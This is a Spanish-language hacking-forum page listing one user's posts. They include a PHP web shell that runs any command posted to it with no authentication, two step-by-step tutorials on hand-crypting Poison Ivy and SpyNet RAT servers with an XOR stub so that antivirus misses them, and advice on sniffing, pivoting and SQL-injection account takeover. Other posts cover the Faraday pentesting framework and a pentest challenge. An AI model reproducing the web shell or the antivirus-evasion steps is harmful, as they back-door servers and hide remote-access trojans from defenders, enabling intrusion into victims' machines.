Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Muppet

#41
Shells / RPI SHELL v1.0 by HD_Breaker
Febrero 07, 2014, 04:11:37 AM
Bueno hoy les dejo el primer avance de esta shell que estoy desarrollando!



Código: text


<html>
<head>
</head>
<body bgcolor="Black">

<table border="1" bordercolor="#00FF00" style="background-color:#000000" width="100%" height="100%" cellpadding="3" cellspacing="3">
<tr>
<td style="vertical-align: top;" width="15%"><?php

echo "<FONT COLOR=RED FACE='Geneva, Arial' SIZE=3><pre>      .~~.   .~~.
     '. \ ' ' / .'
      .~ .~~~..~.
     : .~.'~'.~. :
    ~ (   ) (   ) ~
   ( : '~'.~.'~' : )
    ~ .~ (   ) ~. ~
     (  : '~' :  ) RPI
      '~ .~~~. ~'
          '~'</pre></FONT>";
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Memory Status:</font><br>";
exec("free -m",$Memoria);
foreach ($Memoria as $key) {
if (strpos($key,'Mem:') !== false) {
$datos = explode('           ', $key);
$var = explode('       ', $datos[1]);
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Total: $var[0]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Used: $var[1]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Free: $var[2]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Shared: $var[3]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Buffers: $var[4]<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Cached: $var[5]<br>";
echo "<br>";
}
}

echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>SD Memory Status:</font><br>";
exec("df -h /dev/root",$sd);
$datosSD = array();
foreach ($sd as $key) {
if (strpos($key,'/dev/root') !== false) {
$data = explode(" ", $key);
foreach ($data as $element) {
if (!is_null($element)) {
array_push($datosSD, $element);
}
}
}

}
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Filesystem: $datosSD[0]<br>Size: $datosSD[7]<br>Used: $datosSD[9]<br>Avail: $datosSD[10]<br>Use%: $datosSD[12]<br>Mounted: $datosSD[13]</font>";
echo "<br>";

exec("cat /proc/cpuinfo |grep Serial",$Serial);
echo "<br>";
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>$Serial[0]</FONT>";
echo "<br>";

exec("/opt/firmware/opt/vc/bin/vcgencmd measure_temp",$Temp); //Esto en raspbian cambia ahora esto no funciona
echo "<br>";
echo "<FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>$Temp[0]</FONT>";
echo "<br>";
#echo "<br><FONT COLOR=GREEN FACE='Geneva, Arial' SIZE=3>Iniciar Descarga</FONT>";
?>

<br>
<a href="index.php?Iniciar=Descargar" onClick="Submit()"><font color="#00FF00">Iniciar Descarga</font></a>
<!--<input id="Iniciar" name="Iniciar" type="submit" value="Descargar"/>-->

</td>

<td style="vertical-align: top;"><p><center><h1><FONT COLOR=GREEN FACE='Geneva, Arial'>RPI Shell</font></h1>
<table border="1" bordercolor="#00FF00" style="background-color:#000000" width="100%" cellpadding="3" cellspacing="3">
<tr>
<td><textarea style="margin: 2px; width: 1111px; height: 480px; color: green; background-color: black; vertical-align: top; horizontal-align: left"><?php exec($_POST['cmd'],$CMDResponse); foreach ($CMDResponse as $line) {echo "$line\n";}?></textarea>
<form method="POST" action="index.php">
<input type="text" id="cmd" name="cmd" style="width:93%; color: green; background-color: black;"/>
<input type="submit" id="ejecutar" name="ejecutar" value="Execute"/>
</form>
</td>
</tr>
</table>


</td>


</center>
</tr>
</table>

</body>
</html>


<?php
$Start = $_GET["Iniciar"];
if ($Start=="Descargar") {
        #Esto no hace nada todavia, solo ejecuta algun modulo python que subamos
exec("python *.py",$Salida);
echo "$Salida[0]";
}
?>




#42
Hacking / Re:Faraday: Coperative Pentesting
Enero 28, 2014, 09:49:31 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
ya estaba posteado : You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

aunque tu explicacion es muy buena :D

Disculpa no me di cuenta! Igual creo explica bien como funciona por dentro!
#43
Hacking / Faraday: Coperative Pentesting
Enero 27, 2014, 09:28:17 PM
Faraday

Hoy tenia ganas de escribir en el foro, ya que hace mucho no pasaba por estos pagos, y sentía que me estaba fallando en mi misión de educar a las personas sobre la importancia de la seguridad informática y la protección de los datos que dejamos por internet.

Que es Faraday?

Faraday es un framework que nace de la necesidad de realizar pruebas de penetración de forma cooperativa, cosa que de momento solventaban algunas aplicaciones como Dradis, que generaban un entorno similar a Sharpoint de Microsoft, donde cada pentester podía dejar constancia de su trabajo y compartir las vulnerabilidades que encontraba.

Faraday presenta un futuro en el Pentesting Grupal, ya que por medio de CouchDB y un sistema de replicación de datos, permite de forma instantánea y en tiempo real compartir los datos de una intrusión, reduciendo al mínimo la perdida de tiempo al momento de generar reportes y distribuir la información entre el grupo de pentesters.

Esquema de como funciona

  Pentester 1<---------------Servidor CouchDB--------------->Pentester 2
Couch Replica 1--------------------->|<---------------------Couch Replica 2

El servidor CouchDB brinda un espacio de almacenamiento compartido similar a un SVN el cual alimenta las replicas en las bases de datos locales de cada pentester. A su vez, a medida que Faraday Encuentra diferencias entre las DB Replicas y la DB Servidor, actualiza el Servidor con los datos nuevos de las replicas, disparando nuevamente el ciclo de actualización para el resto de las replicas

Por ejemplo, dado un Servidor nuevo vació, 2 pentester se conecta, se genera una replica vacia en su entorno local de trabajo.
El Pentester 1 encuentra un SQL Injection, automaticamente se actualiza el Servidor y por consecuencia se actualiza la replica local del Pentester 2
A su vez, el Pentester 2 encuentra un XSS, esto dispara la actualizacion del Servidor y por consecuencia la actualizacion de la replica del Pentester 1. Una maravilla de los sistemas distribuidos!!!

Como se trabaja con Faraday?

Para auditar con Faraday no necesitas ningún cambio de concepto, simplemente utilizas las herramientas que acostumbras y ataques manuales, el Framework captura las respuestas de las herramientas en su terminal y va generando un patrón de datos que se almacena en CouchDB.
Además, como todos sabemos, los pentester que nos arrimamos a la profesionalidad del trabajo, solemos auditar de forma manual, y Faraday también contempla esto, permitiéndonos añadir Notas, Vulnerabilidades y Credenciales de forma manual con un simple click derecho!!!

Por lo que podemos auditar Cooperativamente, utilizando herramientas como Nmap, Sqlmap, nikto, etc dejando que la herramienta trabaje sola y capture las respuestas, mientras que a la vez, auditamos manualmente y agregamos notas, como datos de VPN, contraseñas de correos electrónicos, información social, comentarios, vulnerabilidades que no encuentran los scanners, acotaciones, hasta exploits codeados por nosotros mismos.

Además de su increíble versatilidad, me deslumbra su poderosa flexibilidad, ya que si no estamos a gusto o simplemente queremos incluir una nueva herramienta que Faraday no captura, podemos nosotros mismos codear el plugin I/O y agregarlo al Framework

Existen 2 tipos de versión en desarollo:

Comunity Edition & Professional Edition

Esta ultima permite generar reportes modulares web para realizar presentaciones a nuestros clientes.



Invito a todos los interesados a probar su Comunity Edition, yo estoy sorprendido por el potencial de esta herramienta

Dejo algunas capturas:




Documentación Oficial: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Github: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#44
Dudas y pedidos generales / Re:Auditoria seguridad
Enero 17, 2014, 12:50:01 PM
Yo en tu caso, para sniffear usaria ettercap y sslstrip un dia normal q la gente este trabajando, tirate un nmap para saber todas las pcs sus puertos y su version de OS, en base a eso busca infectar adueñarte de una maquina q tenga acceso a ambos segmentos, o intenta capturar credenciales de Routers, en base a eso podes reasignarte un segmento o usar la maquina Owneada para pivotear hacia el otro segmento, Suerte!
#45
Bugs y Exploits / Re:Escribiendo un auxiliar para MSF
Diciembre 12, 2013, 07:37:16 PM
Exelente bro!! como siempre!
#46
Chema realmente es un modelo a seguir, tipo tan inteligente y rebuscado para encontrar fallos, la verdad tiene un pensamiento lateral increible!!! lastima q trabaja para microsoft
#47
Zarpado loco!! muy buena data!
#48
Che el bot  tiene que kikear, bannear, dar op y cambir el topic inteligentemente? osea de manera autonoma o recibiendo comandos del owner del bot?
#49
Android / Re:Como hacer un Jig Usb casero
Noviembre 22, 2013, 12:42:36 PM
Muy Bueno!
#50
Dudas y pedidos generales / Re:Ayuda Con Sql Inyecion
Octubre 24, 2013, 07:08:05 PM
Tenes que tener los privilegios suficientes para poder realizar un update en la DB, es muy raro que esto ocurra, lo mejor que puedes hacer es buscar algun token para hacerte pasar como si recibieras el mail de confirmación y desde hay cambiar la pass!
#51
Bueno hace mucho q no aporto por acá, ya que el laburo me deja casi sin tiempo:

Hoy les traigo algo no muy dificíl pero que me resulto curioso: un SQLI por medio de un Lector QR o un Lector Externo Laser de Barcode

Me parece interesante compartir, ya que es algo q pocos se imaginan, un SQLI en una aplicación totalmente Nativa Android con motor SQLite (SQLI no es solo para Webs)

Dejo algunas Capturas:







ZonalCUYO es el Usuario y el codigo Hexa (0x) es el ValidatorID con el cual la app accede a los WebServices
#52
Underc0de / Re:Reto Official Pentest Underc0de
Agosto 31, 2013, 08:28:42 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Se ve interesante... Se puede totalmente contra el servidor o solo contra la web que aloje?

contra todo el servidor
#53
Perl / Re:Sqli Dorking
Agosto 31, 2013, 03:29:16 AM
JA!!! hace un tiempo cazamos con q3v0 un hackersuelo q usaba esta tool, y nos regalaba los logs jajaja gracias por la tool no sabia como se llamaba!
#54
Underc0de / Reto Official Pentest Underc0de
Agosto 27, 2013, 04:12:17 PM
Reto Pentest Underc0de

Objetivo:

Vulnerar un servidor real, robar un archivo y enviarme por MP a HD_Breaker la respuesta y codigo de este archivo.

Para realizar esto, se pondrán a prueba todas las habilidades del Pentester, desde la recopilación de información, busqueda de vulnerabilidades web y vulnerabilidades a nivel capa de Red y la Estrategia para vulnerar el servidor.

Reglas:

El usuario que lo solucione tiene prohibido distribuir la respuesta, (si eso pasa debería ser baneado).
No se permite el testeo por TEAM.
Ademas del código del archivo robado, el Pentester debe enviar un archivo PDF, con los pasos que realizo, capturas de pantalla y un informe de como se realizo todos los pasos del Pentestig. Tal cual el Pentester enviaría un informe de vulnerabilidades a la Empresa que lo Contrate.

Premios:

Se premiara a los 2 primeros en resolver el reto:

"Un Dominio .com .org o .net a elección"

Hago hincapié en el informe ya que la propuesta es preparar a los participes a ser organizados y a elaborar un proyecto profesional el cual una empresa le pide a su contratado, sin este requisito el Pentester no sera tomado en cuenta.

Arranca el día: Viernes 30 de Agosto.

End of WarGame: Martes 3 de Septiembre hasta las 00 hs GTM-3

Host: "You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login"


#55
Expandir la Sección de un Ejecutable con Lord-PE

Bueno dado que descubri un mundo que realmente me encanto, algo que realmente desconocia, que es la edicion de binarios
he decidido hacer este tutorial para ayudar a todo aquel que desee o necesite incurcionar en este mundo, tanto sea para
hacerlo manualmente o para llevarlo a la programacion de cripters.

Este tutorial consiste en hacer mas espacio en la seccion Ejecutable del binario con el fin de poder agregar nuestra
rutina de des/encriptacion y que esta se cargue directamente con el PE original del binario y no se necesario programar un RUN PE

Por que realizar esto si puedo agregar una nueva seccion y almacenar mi codigo de des/encriptacion en ese espacio?

Primero que nada, hay binarios que no nos permiten agregar nuevas secciones.
Segundo y mas importante: No alteramos la estructura principal del binario por lo que aumentamos las posibilidades de no ser detectados por algunos avs


Decidi hacer esto bajo Lord PE ya que no encontre documentacion de como utilizarlo.

Requisitos Previos:
Conocer el Formato PE: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

SpyNet-2.6:   You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Lord-PE:      You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hex Workshop: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
OllyDBG

Tabla LordPE:

ROffset = PointToRawData
Rsize    = SizeOfRawData
Vsize   = VirtualSize
VOffset = VirtualAdrress
Flags   = Characteristics

Comencemos:

Primer Paso: Recopilar Datos Importantes:

Abrimos Lord-PE damos click en PE-Editor y abrimos nuestro Server.exe
Anotamos estos 2 datos:


FileAlignament: 200
SectionAlignament:1000


Hacemos click en Sections:

Aqui se pueden ver todas las secciones del binario


Nosotros vamos a Expandir la seccion donde se encuentra el codigo ejecutable, en este caso es la seccion CODE (por lo general es la seccion .text)

Anotamos el PointerToRawData y SizeOfRawData

ROffset:400
Rsize:B200

La suma de estos 2 campos nos va a dar el final de la seccion CODE (400 donde Empiesa y B200 donde termina)

ROffset + Rsize = B600

Hacemos Click Derecho sobre la seccion CODE y hacemos click en "Edit Section Header" clickeamos donde dice Flags y daremos permisos de Escritura sobre esta seccion
Ya que Aqui Agregaremos posteriormente nuestra Seccion de Des/Encriptacion para lo cual esta seccion debe indispenzablemente tener permisos de lectura y escritura

Seleccionamos la Opcion Writeable



Cerramos Lord-PE y editamos el Server con Hex Workshop:

Nos vamos a la seccion B600 esto lo hacemos colocando sobre la barra superior de GoTo 0xB600


Como vemos en la imagen justo donde esta marcado el 00 es el final de la seccion CODE, si vemos un poco mas arriba
vemos una seccion de 00, en la cual podriamos situar un des/cifrador ASM pero si el algoritmo es complejo estariamos cortos de espacio:
(Devemos Recordar que se deben dejar bytes de contencion al principio y al final de la seccion donde injectaremos nuestro ASM)

Este es el espacio que nos queda dejando tan solo 3 bytes de contencion al inicio y al final del espacion de esta seccion:


Es por esto que expandiremos esta seccion:

Para hacer esto debemos decidir cuantos bytes queremos agregar y alinearlos con multiplos de FileAlignament:

Por Ej:

Si queremos agregar 150 bytes y nuestro FileAlignament es 200, deberiamos Agregar 200 bytes (FileAlignament*1), de los cuales consumiremos solo 150
Si queremos agregar 250 bytes y nuestro FileAlignament es 200, deberiamos alinear a 400 bytes (FileAlignament*2)

En este Tutorial Agregaremos 200 bytes con esto estamos sobrados bajo mi criterio.

Situados en 0xb600:

Boton Derecho -> Inserts

Number of Bytes = 200 Hex
Fill with NOPS (90)


Como podemos ver hemos agregado 200 bytes de NOPS aqui esta nuestro espacio para agregar nuestra funcion Des/Encriptadora


Al Agregar este espacio el HEAD PE ya no contendra los datos correctos para la ejecucion del Archivo en memoria, por lo que
el archivo rompera automaticamente despues de guardar la Edicion.


Cerramos Hex Workshop y vamos a pasar a la etapa de reparar el binario.

Reparando el Binario:

Primero que nada Abrimos Lord-PE y nos Vamos al Apartado PE-Editor (Abrimos nuestro Server Crash) y click en Sections:

Ahora comienza lo interezante, nosotros hemos agregado 200 bytes a la seccion CODE.

por lo que debemos avisarle al PE de estos cambios para que mapee los datos correctamente en Memoria, para esto vamos a editar:

VirtualSize y RawSize (Size_Of_Raw_Data)

Click derecho sobre la seccion CODE y click en Edit Section Header:


Entramos a este Menu:


Bueno llego la Hora:

Tanto VirtualSize como RawSize deben incrementarce la cantidad de bytes alineados que expandimos la seccion.
En nuestro caso 200 bytes:

Sumamos 200 a los valores de VirtualSize y RawSize quedando:

VirtualSize =  B1C8 + 200 = B3C8
RawSize       =  B200 + 200 = B400   



Los que se Tomaron el tiempo de leer el PDF de The Swash sobre como funcionan los ejecutables de Windows (PE)
Sabra que el PointerToRawData de cada seccion varia como la sumatoria de ROffset (PointToRawData) y RSize de la seccion anterior

Entonces hay que modificar 2 cosas de todas las secciones posteriores:

Primero que nada: VirtualAdress: Unicamente si la sumatoria de VirtualAdress (VOffset) y RSize (SizeOfRawData) de la seccion Ampliada (CODE) es mayor
que la VirtualAdress de la seccion Actual (es un poco dificil de entender esta Parte simplemente calculamos la sumatoria entre VOffset y RSize de Code y lo comparamos con Voffset de DATA y asi sucesivamente con todas las secciones)

En nuestro caso esto no se cumple para ninguna Seccion.

Segundo: Debemos Actualizar el PointerToRawData (ROffset) de todas las secciones posteriores como la sumatoria de ROffset y RSize de su Seccion anterior Directa.

Entonces:

DATA.ROffset = Code.ROffset+Code.RSize
BSS.ROffset  = DATA.ROffset+DATA.RSize

.idata.ROffset  =  BSS.ROffset+BSS.RSize
.tls.ROffset    = .idata.ROffset+.idata.RSize
.rdata.ROffset  = .tls.ROffset+.tls.RSize
.reloc.ROffset  = .rdata.ROffset+.rdata.RSize
.rsrc.ROffset   = .rsrc.ROffset+Code.RSize

Quedando:
DATA.ROffset = 400+B400=B800
BSS.ROffset  = B800+400=BC00

.idata.ROffset  =  BC00+0000=BC00
.tls.ROffset    =  BC00+0C00=C800
.rdata.ROffset  =  C800+0000=C800
.reloc.ROffset  =  C800+0200=CA00
.rsrc.ROffset   =  CA00+0C00=D600

Editamos ROffset de todas las secciones con los valores calculados, guardamos los cambios y cerramos LORD-PE
En este al contrario de otros Tutoriales de Edicion Manual no tendremos que editar el SizeOfImage ya que Lord-PE lo calcula Automaticamente

Actualizamos nuestra Carpeta y vemos ya como el icono vuelve a la normalidad y se puede ejecutar el archivo Correctamente:



Bien Ahora tenemos Nuestro ejecutable con la Seccion Code Ampliada y con permisos de ejecucion, lectura y escritura.

Ahora pasaremos a Crear nuestra Rutina de Encriptacion sobre el espacio que nos hicimos en la Seccion Code:


Ejecutamos OllyDBG y abrimos nuestro Servidor:

Damos Click Derecho --> View --> Executable File


Vamos a buscar el espacion que nos hicimos, si recordamos nosotros agregamos 200 bytes a partir de 0xb600
por lo q buscaremos esa direccion con OllyDBG

Ctrl+G y cologamos B600


Como vemos nos encontramos todos nuestros NOPS clickeamos sobre el primero, Boton Derecho --> View Image on Dissambler


Aqui Comenzaremos a ingresar nuestra rutina de Encriptacion:

Rutina Xor Simple (Code By [Zero]):

Código: text

;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh            ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                                           ;Nos desplazamos al siguiente byte
cmp eax,ebx                                  ;Comprobamos si es el último
jne 401234h                                  ;Si no lo es, continuamos con el siguiente
ret                                                 ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                               ;Si lo es, saltamos el Entry Point Original


Bueno en este Codigo las direcciones 402000, 403000, y 401234 deben cambiarse por las correspondientes al inicio y al final
de lo que queremos cifrar pero en sus valores de memoria Virtual

Para lograr esto, debemos:

Primer Dato:

Restarle a la direccion fisica donde comienza la seccion .CODE el ROffset (Coinside con el inicio en este caso porq es la primera seccion)
Nuestra seccion Code comenzaba en 0x400 entonces

0x400-0x400 = 0

Le sumamos el VOffset y el ImageBase: (Todos estos datos se obtienen con Lord-PE)

0+1000(Voffset)+400000 = 401000

Segundo Dato:

Este es el HASTA DONDE queremos Sifrar, si vemos el tutorial de zero el trabaja con un valor anterior a donde terminaba
la seccion CODE (B600) ya que no Expandio la Seccion, en nuestro caso al haber expandido la seccion code, podemos trabajar
con mas comodidad y decirle que cifre hasta B600-1 (Donde terminaba la seccion CODE y agregamos nuestros 200 bytes)

entonces el segundo dato es:

(B5FF-400)+1000+400000= 40C1FF

y el tercer valor es:

El EntryPoint + el ImageBase para saber esto abrimos el binario con Lord-PE y sumamos los balores EntryPoint y ImageBase

EntriPoint= BBF4
ImageBase = 400000

Tecer Valor= 40BBF4


Bien queda el Ultimo, este es la direccion donde nuestro codigo hace xor byte ptr ds:[eax],0FFh

Esto es facil de explicar, tenemos una rutina que lee 1 a uno los bytes de un bloque de direcciones
este le aplica XOR a cada uno de los bytes, esto es un bucle para encriptar/desencriptar
con el cual si no hemos llegado al ultimo byte, salta al siguiente y le vuelve a aplicar XOR
y se repite este proceso hasta que llegamos al ultimo byte.

este valor lo obtenemos mirando OllyDBG justo en la line del XOR

El Cuarto Valor es: 40C20F

Entonces nos queda en olly de esta manera:


Ahora tenemos que guardar los cambios y guardar en disco:

Click Derecho -> Copy to Executable/All modifications y guardamos el archivo en el disco (click derecho, backup->save data to file).

Bueno Casi Terminamos, debemos cambiar el EntriPoint del Ejecutable con nuestra rutina ASM para que apunte a nuestro codigo, y luego salte al resto del programa
Esto lo hacemos con LORD-PE

Abrimos el Binario y Cambiamos donde Dice EntryPoint por el valor de memoria de nuestra primera linea ASM sin el ImageBase

en nuestro caso es:

40c200-400000 = c200


Bueno ahora biene la ultima Parte:

Vamos a Establecer un BreakPoint en retn dentro de nuestro codigo ASM en OllyDBG para que cifre todo el codigo:


Precionamos F9 para que se ejecute hasta el BreakPoint y copiaremos todo entre 401000 y 40C1FF (Todo esto estara Encriptado)

Selecionamos todo y realizamos un Binary Copy:


Cerramos OllyDBG y nos aceguramos de no copiar nada para no eliminar el codigo el portapapeles!!!

Ahora Utilizaremos Otro Editor Hexadecimal: HxD

Abrimos HxD y seleccionamos los bytes entre 400 y b5FF y realizamos un Pegar Escribiendo y guardamos los cambios

Solo queda abrir por ultima vez nuestro servidor con OllyDBG y sustituir retn por un NOP:


y como vemos nuestro server conecta:


Bueno espero que mi Aporte pueda ser de ayuda a todo aquel interesado en el tema
Espero como minimo un Gracias ya que son las 6 am y todavia estoy cargando las imagenes del tutorial

PD: Para dejarlo fud solo se deberia aplicar una encriptación mas fuerte y cifrar la IAT


#56
Bueno hace poco me ha dado la espina de interiorizarme y profundizar en el tema de malware, tanto desarrollo como cripters y me tope con este taller de [Zero] que es sinceramente increible, esta perfectamente explicado y nos enseña la forma de dejar de lado el conocido RUN PE que es muy detectado por los AV mas que nada por la HEURISTICA, Zero se llevo mis aplausos hoy por esto lo comparto.

Taller: cifrando Malware a Mano

Objetivos de éste taller

Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.


Herramientas Necesarias
Olly Debug You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Un Editor Hexadecimal You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login (Yo use HexWorkShop)
Un Editor del PE (Este lo buscan en Internet)
Poison Ivy v2.1.4 Private (Yo lo realice con Spy-Net).


Conocimientos recomendados
Nociones básicas sobre ASM. Taller ASM por E0N
Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
Familiarización con el uso de Olly y las otras herramientas.


¿Qué vamos a cifrar?

Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:


Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a cifrar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y cifrar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está  :P:


Entonces, lo que vamos a cifrar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

¿Cómo lo vamos a cifrar?

Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de descifrar lo que habíamos cifrado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

   
Ejecutable original y ejecutable cifrado respectivamente

Preparando la sección .text

Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):


Y listo, ya sabemos donde podeomos poner nuestro código desencriptador, a partir de 0x1890 para adelante (anotamos en algún sitio ese valor), ahora otro punto. Para descifrar la sección .text vamos a necesitar que ésta tenga permisos de lectura y escritura (de ejecución ya tiene puesto que es la sección de código), así que abrimos el server con el LordPE, nos vamos a Sections, seleccionamos la sección .text, click derecho->Edti Section Header, damos click en el botón situado en el apartado flags y marcamos la opción "Writeable" ("Readable" ya está), damos "OK" y guardamos todos los cambios.



Insertando la rutina encriptadora/desencriptadora

Bueno, el siguiente código en ASM desencrypta/cifra un array de bytes usando un Xor:

Código:

Código: text

;---------------------------------------------------------------
;Taller Encriptacion Malware a Mano: Código Desencriptación
;---------------------------------------------------------------
;Movemos a eax la dirección de inicio del código cifrado
mov eax,402000h
;Movemos a ebx la dirección de fin del código cifrado
mov ebx,403000h
;Movemos a ecx la dir del Entry Point Original
mov ecx,401038h
xor byte ptr ds:[eax],0FFh ;Hacemos el xor al byte con la clave 0FF (se puede cambiar por otro byte)
inc eax                               ;Nos desplazamos al siguiente byte
cmp eax,ebx                      ;Comprobamos si es el último
jne 401234h                      ;Si no lo es, continuamos con el siguiente
ret                                      ;Salimos del programa (cambiar ret por nop despues de cifrar)
jmp ecx                              ;Si lo es, saltamos el Entry Point Original


Eso es lo que tenemos que instar en el espacio libre que habíamos encontrado (con unas pequeñas modificaciones). Para eso, vamos al OllyDbg y abrimos el server. Una vez cargado el archivo, damos click derecho, View->Executable File.



Ahora nos vamos a la dirección (CTRL+G) dónde hemos empezado a poner los Nop's, 0x1890 (el valor que dije que recordarais). Luego damos click derecho sobre el primer Nop y sellecionamos View Image in Disassembler, así nos situará en donde se cargaron lso Nop's en memoria.


Ahí vamos a poner nuestro código, vamos dando doble click en los Nops y vamos introduciendo el código aterior línea a lína hasta que nos quede así:


Pero ahí hay que arraglar cosas, las direcciones 0x401000, 0x402000, 0x401038 y 0x4001234 no son correctas para éste ejecutable (y 99.999% seguro que para ningun otro que encontremos  ;D), así que hay que cambiarlas por sus valores correctos.

Vamos por la primera, el 402000, ésta es la dirección VIRTUAL donde de donde queremos que empiece a cifrar/descifrar, en nuestro caso, queremos que empiece a cifrar/des en el inicio de la primera sección, que viendo como el editor hexadecimal era 0x200, pero NO, esa es la dirección FÍSICA, al cargarse en memoria esa dirección cambia por algo de la forma 40XXXX (corrientemente). Vale, y como la obtenemos? Pues abrimos el LordPE, cargamos el ejecutable, y le damos para ver las secciones:


Ahora ésto es una regla general para todos los casos, para obtener una dirección VIRTUAL a partir de la FÍSICA de una sección hacemos: (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
    (0x200-0x200)+0x1000+0x400000=401000.

Ésa es la dirección que tenemos que poner en el primer valor. Vamos con el segundo, el 403000, ése es el valor VIRTUAL donde termina el código que queremos cifrar. En éste caso, el código que queremos cifrar termina donde empezamos a poner los nops, en 0x1890 DIRECCIÓN FÍSICA, así que hacemos (DIR FÍSICA-ROFFSET)+VOffset+ImageBase:
     (0x1890-0x200)+0x1000+0x400000=0x402690 (Utilizad la calculadora de windows en modo hex  :P).

Ése es el valor que tenemos que poner en el 2º valor, vamos con el 3º, el 401028, éste es más fácil, ahí hay que poner el AddressOfEntryPoint en memoria del ejecutable, para saberlo abrimos el ejecutable con el LordPE:


Cogemos ese valor, se sumamos el ImageBase (0x400000+0x2104) y nos da 402104, ese es nuestro 3º valor, el punto a donde debemos de saltar luego de descifrar los datos.

Venga, 4º y último valor que tenemos que cambiar, el 401234, éste también es fácil, la dirección a la que tiene que saltar el bucle si no llegamos al final. Volvemos al olly, donde habíamos introducido la rutina en ASM, y el valor que tenemos que introducir es la dirección donde pusimos el xor byte ptr ds:[eax],0FFh, en éste caso 0x40269F:


Y listo, nuestro código encriptador/desencriptador ya funcionaría, tal cual lo copiamos se encargaría de cifrar la sección .text. Debería de quedar así:


Así que en el olly damos click derecho "Copy to Executable/All modifications" y guardamos el archivo en disco (click drcho, backuup->save data to file).

Ahora tenemos que cambiar el Entry Point por la dirección donde empieza nuestro código en memoria: 2690 (Sin el imagebase):


Listo, ahora la rutina encriptadora/desencriptadora será lo primero que se ejecute al iniciar el archivo.


cifrando, descifrando

Ahora que ya tenemos la rutina encriptadora/desencriptadora en su sitio, vamos a usarla para que nos encripte lo la sección .text, para ésto abrirmos nuevamente el server con el Olly, y ponemos un breakpoint en el ret del código de la rutina desencriptadora. Una vez hecho ésto, pulsamos F9 y el programa empezará a ejecutarse hasta que parará en el ret. En éste momento ya tenemos el código cifrado, pero en memoria, así que vamos a copiarlo al portapapeles. Seleccionamos con el ratón desde 0x401000 hasta 0x401890 (no incluído)(el trozo que ciframos) y hacemos click derecho/bianry/binary copy:


Ahora cerramos el olly, y abrimos el archivo nuevamente con el HxD (mientras haces ésto no copies ni pegues nada que te cargas lo que hay en el portapapeles  :P). Una vez abierto seleccionamos los bytes desde 0x200 hasta 0x1890 (no incluído) y hacemos click derecho/pegar escribiendo y guardamos los cambios.

